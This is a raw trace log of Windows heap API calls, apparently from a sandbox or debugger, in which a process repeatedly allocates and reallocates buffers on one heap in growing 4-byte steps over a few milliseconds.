	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945368, Size=0x10) returned 0x9453b0
	[0053.908] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9515e8
	[0053.908] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453b0, Size=0x14) returned 0x951768
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9516e8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x951768, Size=0x18) returned 0x951668
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9517a8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x951668, Size=0x1c) returned 0x94ef40
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9517e8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ef40, Size=0x20) returned 0x94f148
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951848
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f148, Size=0x24) returned 0x947c30
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951668
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947c30, Size=0x28) returned 0x947d80
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951688
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947d80, Size=0x2c) returned 0x94e900
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951888
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e900, Size=0x30) returned 0x94e5f0
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9516c8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e5f0, Size=0x34) returned 0x94bc10
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951788
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94bc10, Size=0x38) returned 0x94b850
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951908
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94b850, Size=0x3c) returned 0x945fa8
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951608
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945fa8, Size=0x40) returned 0x945ff0
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9516a8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487c8, Size=0xc) returned 0x945410
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951708
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951728
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948938
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951868
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948938, Size=0xc) returned 0x945368
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951748
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945368, Size=0x10) returned 0x9453e0
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951768
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453e0, Size=0x14) returned 0x9518a8
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9518e8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9518a8, Size=0x18) returned 0x951808
	[0053.909] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9517c8
	[0053.909] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x951808, Size=0x1c) returned 0x94eea0
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9518a8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94eea0, Size=0x20) returned 0x94ec98
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951808
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ec98, Size=0x24) returned 0x947ab0
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951828
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947ab0, Size=0x28) returned 0x947cc0
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9518c8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947cc0, Size=0x2c) returned 0x94e7e8
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9514e8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e7e8, Size=0x30) returned 0x94eb30
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951488
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94eb30, Size=0x34) returned 0x94ba50
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951468
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94ba50, Size=0x38) returned 0x94bb10
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951568
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94bb10, Size=0x3c) returned 0x946080
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951368
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x946080, Size=0x40) returned 0x945ae0
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951388
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945ae0, Size=0x44) returned 0x94fa60
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9511a8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94fa60, Size=0x48) returned 0x94fab0
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951408
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94fab0, Size=0x4c) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951188
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x50) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9513a8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x54) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9513c8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x58) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9514a8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x5c) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9513e8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x60) returned 0x945a08
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951508
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x64) returned 0x936f98
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9514c8
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x68) returned 0x936f98
	[0053.910] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951288
	[0053.910] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x6c) returned 0x936f98
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951428
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x70) returned 0x936f98
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951448
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x74) returned 0x936f98
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9511c8
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x78) returned 0x936f98
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951528
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x7c) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9511e8
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x80) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951328
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x84) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951208
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x88) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951548
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x8c) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951228
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x90) returned 0x945538
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951248
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x94) returned 0x942938
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951268
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0x98) returned 0x942938
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9512a8
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0x9c) returned 0x942938
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9512c8
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0xa0) returned 0x942938
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9512e8
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0xa4) returned 0x9457b0
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951308
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xa8) returned 0x9457b0
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951348
	[0053.911] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xac) returned 0x9457b0
	[0053.911] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951af0
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xb0) returned 0x9457b0
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951a50
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xb4) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951d30
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xb8) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951b30
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xbc) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951c10
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xc0) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951d70
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xc4) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951d10
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xc8) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951b70
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xcc) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951a70
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9424a8, Size=0xd0) returned 0x9424a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951b10
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e510, Size=0x30) returned 0x94e9a8
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951bb0
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951b90
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948938
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951990
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948928
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9519f0
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948928, Size=0x8) returned 0x948948
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951c90
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x948948, Size=0xc) returned 0x945368
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951b50
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945368, Size=0x10) returned 0x9453e0
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951c50
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9453e0, Size=0x14) returned 0x951bd0
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951bf0
	[0053.912] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x951bd0, Size=0x18) returned 0x951a30
	[0053.912] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951bd0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x951a30, Size=0x1c) returned 0x94efb8
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951c30
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94efb8, Size=0x20) returned 0x94f080
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951cf0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f080, Size=0x24) returned 0x947d80
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951d50
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947d80, Size=0x28) returned 0x947ba0
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9519b0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x947ba0, Size=0x2c) returned 0x94e858
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9519d0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e858, Size=0x30) returned 0x94e510
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951a10
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94e510, Size=0x34) returned 0x94bc90
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951c70
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94bc90, Size=0x38) returned 0x94be50
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951a30
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94be50, Size=0x3c) returned 0x946080
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951a90
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x946080, Size=0x40) returned 0x945fa8
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951ab0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945fa8, Size=0x44) returned 0x94fab0
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951cb0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94fab0, Size=0x48) returned 0x94f920
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951ad0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x94f920, Size=0x4c) returned 0x942580
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951cd0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942580, Size=0x50) returned 0x942580
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951f30
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942580, Size=0x54) returned 0x945a08
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951ed0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x58) returned 0x945a08
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951f50
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x5c) returned 0x945a08
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951dd0
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x60) returned 0x945a08
	[0053.913] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951e70
	[0053.913] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945a08, Size=0x64) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951d90
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x68) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951f10
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x6c) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952070
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x70) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951df0
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x74) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952030
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x78) returned 0x936f98
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951f90
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x936f98, Size=0x7c) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951ef0
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x80) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952110
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x84) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952050
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x88) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951db0
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x8c) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952010
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x90) returned 0x945538
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951e10
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x945538, Size=0x94) returned 0x942938
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9520b0
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0x98) returned 0x942938
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951e90
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0x9c) returned 0x942938
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952130
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0xa0) returned 0x942938
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951f70
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x942938, Size=0xa4) returned 0x9457b0
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951eb0
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xa8) returned 0x9457b0
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952090
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xac) returned 0x9457b0
	[0053.914] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951e30
	[0053.914] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xb0) returned 0x9457b0
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951fb0
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9457b0, Size=0xb4) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951fd0
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xb8) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951e50
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xbc) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9520d0
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xc0) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x951ff0
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xc4) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9520f0
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xc8) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952218
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xcc) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9523f8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xd0) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9521f8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xd4) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952238
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xd8) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952258
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xdc) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9522d8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xe0) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9523d8
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xe4) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952278
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xe8) returned 0x944bf8
	[0053.915] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x952378
	[0053.915] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x944bf8, Size=0xec) returned 0x944bf8
